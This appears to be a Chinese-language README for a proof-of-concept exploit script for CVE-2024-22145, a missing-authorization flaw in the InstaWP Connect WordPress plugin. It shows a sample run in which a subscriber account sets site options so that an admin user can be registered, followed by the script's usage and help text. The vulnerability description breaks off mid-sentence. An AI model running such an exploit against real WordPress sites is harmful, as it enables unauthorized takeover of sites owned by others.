InstaWP Connect <= 0.1.0.8 - 授权缺失导致任意选项更新(订阅者+)
InstaWP Connect – 1-click WP Staging & Migration WordPress 插件存在数据未授权修改漏洞,原因是所有版本(包括 0.1.0.8)中 save_management_settings 函数缺少权限检查。这使得经过身份验证的攻击者(至少拥有订阅者权限)能够修改
严重性:高
CVE ID:CVE-2024-22145
CVSS 分数:8.8
CVSS 向量:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
插件别名:instawp-connect
WPScan URL:https://www.wpscan.com/plugin/instawp-connect
参考 URL:https://www.wordfence.com/threat-intel/vulnerabilities/id/6aa4fd08-a1b1-4f61-a9d1-9812071b61c9?source=api-prod
$ python3 CVE-2024-22145.py -u http://wordpress.lan -un user -p useruser1
The plugin version is below 0.1.0.9.
The plugin version is 0.1.0.7
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
usage: CVE-2024-22145.py [-h] -u URL [-un USERNAME] [-p PASSWORD] [-f FIX]
InstaWP Connect <= 0.1.0.8 - 授权缺失导致任意选项更新 描述:InstaWP Connect – 1-click WP Staging & Migration WordPress 插件存在数据未授权修改漏洞,原因是所有版本(包括 0.1.0.8)中 save_management_settings 函数缺少权限检查。这使得经过身份验证的攻击者(至少拥有订阅者权限)能够修改 CVE-2024-22145
选项:
-h, --help 显示此帮助信息并退出
-u URL, --url URL 网站 URL
-un USERNAME, --username USERNAME
WordPress 用户名
-p PASSWORD, --password PASSWORD
WordPress 密码
-f FIX, --fix FIX 利用后重置